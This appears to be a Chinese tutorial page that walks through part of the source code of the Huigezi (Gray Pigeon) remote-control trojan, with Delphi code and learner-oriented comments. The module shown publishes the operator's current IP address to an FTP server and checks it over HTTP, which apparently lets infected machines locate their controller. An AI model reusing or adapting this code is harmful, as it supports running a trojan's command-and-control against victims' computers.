📄 一起解剖灰鸽子vip1.2源码.txt
字号:
Label5: TspSkinStdLabel;
Label6: TspSkinStdLabel;
FTPAdder: TspSkinEdit;
FTPPort: TspSkinEdit;
FTPUser: TspSkinEdit;
Panel2: TspSkinPanel;
Label7: TspSkinStdLabel;
IpFileEdit: TspSkinEdit;
Label8: TspSkinStdLabel;
IPAddEdit: TspSkinComboBox;
RadioBox1: TspSkinCheckRadioBox;
FtpButton1: TspSkinButton;
Label1: TspSkinLabel;
Label10: TspSkinStdLabel;
user126: TspSkinEdit;
Label12: TspSkinStdLabel;
Label13: TspSkinStdLabel;
Label14: TspSkinStdLabel;
ComboBox1: TspSkinComboBox;
RadioBox2: TspSkinCheckRadioBox;
URLButton: TspSkinButton;
TabSheet4: TspSkinTabSheet;
Label20: TspSkinStdLabel;
UserEdit: TspSkinEdit;
Label21: TspSkinStdLabel;
Label22: TspSkinStdLabel;
IPComboBox2: TspSkinComboBox;
Button3: TspSkinButton;
IdHTTP1: TIdHTTP;
Label23: TspSkinStdLabel;
EmailEdit1: TspSkinEdit;
TabSheet3: TspSkinTabSheet;
Label15: TspSkinStdLabel;
XwEdit: TspSkinEdit;
Label17: TspSkinStdLabel;
Xwuser: TspSkinEdit;
Label18: TspSkinStdLabel;
Label19: TspSkinStdLabel;
XWComboBox: TspSkinComboBox;
CheckRadioBox1: TspSkinCheckRadioBox;
XWButton: TspSkinButton;
Label16: TLabel;
Label9: TspSkinStdLabel;
httpEdit: TspSkinEdit;
YComboBox: TspSkinComboBox;
Label11: TLabel;
ComboBox10: TspSkinComboBox;
Label24: TspSkinStdLabel;
IdHTTP2: TIdHTTP;
FTPPass1: TspSkinPasswordEdit;
FTPPass2: TspSkinPasswordEdit;
spSkinEdit2: TspSkinPasswordEdit;
pass126: TspSkinPasswordEdit;
Xwpass: TspSkinPasswordEdit;
PassEdit1: TspSkinPasswordEdit;
PassEdit2: TspSkinPasswordEdit;
NMFTP1: TNMFTP;
procedure Button3Click(Sender: TObject);
procedure AfterGetFile(Sender: TObject);
procedure FtpButton1Click(Sender: TObject);
procedure URLButtonClick(Sender: TObject);
procedure RadioBox1Click(Sender: TObject);
procedure RadioBox2Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure XWButtonClick(Sender: TObject);
procedure Label16Click(Sender: TObject);
procedure CheckRadioBox1Click(Sender: TObject);
procedure Label11Click(Sender: TObject);
procedure user126Change(Sender: TObject);
procedure spSkinEdit2Change(Sender: TObject);
procedure YComboBoxClick(Sender: TObject);
procedure NMFTP1Success(Trans_Type: TCmdType);
procedure NMFTP1Connect(Sender: TObject);
procedure NMFTP1ConnectionFailed(Sender: TObject);
procedure NMFTP1Error(Sender: TComponent; Errno: Word; Errmsg: String);
procedure NMFTP1Status(Sender: TComponent; Status: String);
private
{ Private declarations }
public
{ Public declarations }
i: integer;
procedure Get_UserFile;
function Update(Body,UpdateS:String):Boolean;
end;
var
UpIpDate: TUpIpDate;
implementation
uses
Main;
{$R *.dfm}
{
Pos函数说明:查找字符(串)所在位置。该函数有二个参数。第一个参数为要查找的字符(串),第二个参数为被查找字符(串)。
如nPos := Pos('Like', 'I Like Reading!');
此时nPos等于3。如果没有查找到,则nPos为0。注意:Pos函数在查找时是要区分字符大小的。如果要实现不区分大小,那么需要使用UpperCase或LowerCase函数将两个参数的字符(串)转换为“大写”或“小写”再进行查找。
另外还有一个查找字符(串)的函数----AnsiPos,该函数的使用方法与Pos函数完全一样。当你查找的是汉字时,最好使用AnsiPos函数。
Delete函数说明:删除字符串中指定的字符串。该函数有三个参数。第一个参数为要进行处理的字符串,第二个参数为从何处开始删除,第三个参数为删除的字符个数。
如:S := 'I Like Reading CPCW.';
下面的代码将删除S变量中的“C”字符。
Delete(S, 16, 1);
此时S变量则是I Like Reading PCW.(“C”已经不存在了)。
}
function CenterStr(Src:String;Before,After:String):String;
{ 这个函数用来分离两个字符串中间的字符串,
例如 ..('DelphiBox.com','Delphi','.com')=>'Box'。 }
var
Pos1,Pos2:WORD;
Temp:String;
begin
Temp:=Src;
Pos1:=Pos(Before,Temp);
Delete(Temp,1,Pos1+Length(Before));
Pos2:=Pos(After,Temp);
if (Pos1=0) or (Pos2=0) then
begin
Result:='';
Exit;
end;
Pos1:=Pos1+Length(Before);
Result:=Copy(Src,Pos1,Pos2);
end;
//这个函数的作用应该是获取默认的代理服务的一些信息,然后保存在 ProxyStr 指针变量里
//过程大致是先开辟一个无类型指针Buffer 和相应类型的指针ProxyInfo
//给Buffer分配好内存之后,通过函数InternetQueryOption ,获取默认的一些代理信息
//然后让ProxyInfo指到Buffer指针的内存地址,
//然后通过 ProxyInfo来获取相应的属性,获取相应的信息赋值给ProxyStr,然后释放内存指针
//看了《object pascal》之后终于是明白了,指针原来是这样应用的,呵呵,你领悟到了么?
function GetDefaultProxyServer(var ProxyStr: TProxyServerInf):Boolean;
var
ProxyInfo: PInternetProxyInfo; //PInternetProxyInfo是一个指针类型
//在wininet.asp里定义的
Buffer: Pointer; // Pointer类型是可以指向任何类型的指针
BUF_SIZE: DWORD; //DWORD是32位无符号整数,对应着的Longword。PDWORD = ^DWORD。这两个类型可以直接使用,因为在windows.pas中已经定义了。
Temp,Tmpip:String;
i:integer;
begin
Result := False;
try
BUF_SIZE:=1024;
GetMem(Buffer,BUF_SIZE); //分配1024的内存给Buffer(前面定义看到它是一个无类型指针)
ProxyStr.httpName :='';
ProxyStr.httpport :=0;
ProxyStr.SocksName :='';
ProxyStr.Socksport :=0;
//
if InternetQueryOption(nil,INTERNET_OPTION_PROXY,Buffer,BUF_SIZE) then
begin
ProxyInfo := Buffer; //让指针ProxyInfo指向 Buffer指向的地址
if ProxyInfo^.lpszProxy<>'' then
begin
Temp:= ProxyInfo^.lpszProxy+' ';
//HgzFsbSVip.Memo1.Lines.Text:=Temp;
//下面处理 HTTP代理的情况
i:=pos('http=',Temp); //获取字串中含HTTP的位置
if i>0 then
begin
//下面这句截取http 和 “ ”(空格)之间的内容出来,即IP地址和端口信息吧
Tmpip:=CenterStr(Temp,'http=',' ');
i:=pos(':',Tmpip);
if i>0 then
begin
//分离出IP、端口 ,注意COPY函数的参数,表示第几个到第几个字节。
ProxyStr.httpName:=Copy(Tmpip,1,i-1);
ProxyStr.httpport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
end;
end;
//下面处理 socket代理的情况,分离方法和上面类似
i:=pos('socks=',Temp);
if i>0 then
begin
Tmpip:=CenterStr(Temp,'socks=',' ');
i:=pos(':',Tmpip);
if i>0 then
begin
ProxyStr.SocksName :=Copy(Tmpip,1,i-1);
ProxyStr.Socksport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
end;
end;
if (ProxyStr.httpName='') and (ProxyStr.SocksName='') then
begin
i:=pos(':',Temp);
if i>0 then
begin
Delete(Temp,Length(Temp),1);
ProxyStr.httpName :=Copy(Temp,1,i-1);
ProxyStr.httpport :=Strtoint(Copy(Temp,i+1,Length(Temp)));
end;
end;
//HgzFsbSVip.Memo1.Lines.Add('HTTP:'+ProxyStr.httpName);
//HgzFsbSVip.Memo1.Lines.Add('PORT:'+inttoStr(ProxyStr.httpport));
Result := True;
end else begin
Result := False;
end;
end Else begin
Result := False;
end;
finally
FreeMem(Buffer); //释放内存
end;
end;
//上传函数,用来取得IP 生成本地文件,然后传到服务器上
procedure TUpIpDate.Get_UserFile;
var
IPFile:String;
F: textfile;
begin
try
//这几句的意思 就是把本地IP更新本地到文件FTPIp.dat里,这个文件一会要上传到服务器上的
IPFile := ExtractFilePath(Paramstr(0)) + 'FTPIp.dat';
AssignFile(F,IPFile);
Rewrite(F);{F为TextFile类型}
//这里可以看到,IP更新以后格式将是“http://huigezi +ip +end”
WriteLn(F,'http://huigezi'+IPAddEdit.Text+'end');
//更新完后就释放这个资源(textfile类型的F实际上是一个指向文本文件的指针,如果不明白,就权当它就是一个文本文件吧)
CloseFile(F);
except
//这部分是异常出错处理,这里的 Translate是自定义的一个函数,在unit LangFrm;单元里定义。
//作用:就是把后面的字串和配置文件(这里鸽子里用的是H_Client.chs这个文件)里的字段String0比较,
//如果值不同就返回配置文件里的值,而不是这个值 。其实这个作用估计也只是过滤一下,如果你光该这里不改配置文件
//重点:在这个函数里 有一句 Result:=AIniFile.ReadString(ClassName,Ident,Default);
//看到了么,这个ClassName应该是一个全局变量表示当前的类名,在这个模块里其值就是 TUpIpDate
//所以 Translate('String0','写FTP上传文件出错.'),这个函数的意思就是找出配置文件,对比一下[TUpIpDate]里String0的值
//如果有值就返回 字段的值。这个函数可以返回一个指定格式的字符串,防止出错。
//下面的Translate函数都是差不多的意思就不一一介绍了
Label1.Caption:=Translate('String0','写FTP上传文件出错.');
Exit;
end;
//NMFTP1 是前面定义的FTP上传控件 ,这段就是用来上传保存了上线IP的图片文件的
with NMFTP1 do
begin
//从窗口的Edit控件里获取FTP服务器信息 (IP和端口)
Host := FTPAdder.Text;
Port := Strtoint(FTPPort.Text);// Standardport
//设置FTP的超时时间
TimeOut := 20000; // 20 sek Versuch
//获取帐号密码
UserID := FTPUser.Text;
Password := FTPPass1.Text;
//连接服务器
Connect;
//查了一些资料,这里的 Mode 是一个NMFTP的方法 参数可以是MODE_IMAGE、MODE_BYTE,MODE_ASCII
//应该是设置上传模式的。玩过ftp的应该知道
Mode(MODE_IMAGE);
//把硬盘的IPFile 路径里的文件上传,上传后名称保存为 IpFileEdit.Text
Upload(IPFile,IpFileEdit.Text);
end;
//这个是多线程上传的部分,作者写了,但是好像又没使用。呵呵。。。可以看看其中的写法哦
{ GetThread := TFTPThreadEx.Create(True);
with GetThread do begin
LocalFile := IPFile;
RemoteFile := IpFileEdit.Text;
Host := FTPAdder.Text;
FtpPorts := Strtoint(FTPPort.Text);
UserName := FTPUser.Text;
Password := FTPPass1.Text;
FTPMode := FtpSend;
StatProc := FTPStatus;
OnTerminate := AfterGetFile;
NeedSave := DoSave;
end;
GetThread.Resume; }
end;
//看完这个函数,你就知道了 它是上传后的一个处理函数,反馈相应的上传成功信息以及播放声音的
procedure TUpIpDate.AfterGetFile(Sender: TObject);
var
Temp:String;
begin
try
if httpEdit.Text<>'' then //如果在地址框填上了地址,就会自动下载该地址的内容进行比较,如果不填,就不去比较了 ,作者真的好聪明
begin
//下面这段的意思是获取网址内容,然后和本地要更新的IP匹配看看是不是已经更新上去了
Temp:=IdHTTP1.Get(httpEdit.Text);
if pos(IPAddEdit.Text,Temp)>0 then
begin
Label1.Caption:=Translate('String1','FTP更新IP成功.');
//下面这部分应该是播放声音的提示,具体的方法我们暂且不去追究它,只知道他是播放声音的就OK了
if HgzVip.isSound then
begin
try
sndplaysound('',snd_async);
//这句似乎没用什么用,播放一个空路径的文件么?
sndplaysound(Pchar(HgzVip.UpIPok),snd_async);
//这句应该是播放 HgzVip.UpIPok中的路径的声音
except
end;
end;
end else begin
Label1.Caption:=Translate('String2','FTP更新IP完成.但Http访问无效.');
end;
end else begin
Label1.Caption:=Translate('String1','FTP更新IP成功.');
//播放声音
if HgzVip.isSound then
begin
try
sndplaysound('',snd_async);
sndplaysound(Pchar(HgzVip.UpIPok),snd_async);
except
end;
end;
end;
except
Label1.Caption:=Translate('String3','FTP更新IP完成.但Http访问出错.');
end;
end;
//看名字就知道 应该是一个替换字符串的函数,都能明白吧,不仔细分析了
function Replace(Str: String;Find:string;ToStr:String): string;
var
Text,A,B: String;
i,k: Integer;
begin
Text:=Str;
for k:=1 to Length(Str) do
begin
i:=pos(Find,Text);
if i>0 then
begin
Delete(Text,i,Length(Find));
A:=copy(Text,1,i-1);
B:= copy(Text,i,Length(Text));
Text:=A+ToStr+B;
end else break;
end;
Result := Text;
end;
//上传按钮的点击事件
procedure TUpIpDate.FtpButton1Click(Sender: TObject);
begin
//判断必须输入的内容是否输入了,提示输入
if FTPAdder.Text='' then
begin
Label1.Caption :=Translate('String4','请输入FTP服务器地址!');
Exit;
end;
if FTPUser.Text='' then
begin
Label1.Caption :=Translate('String5','请输入FTP用户名!');
Exit;
end;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -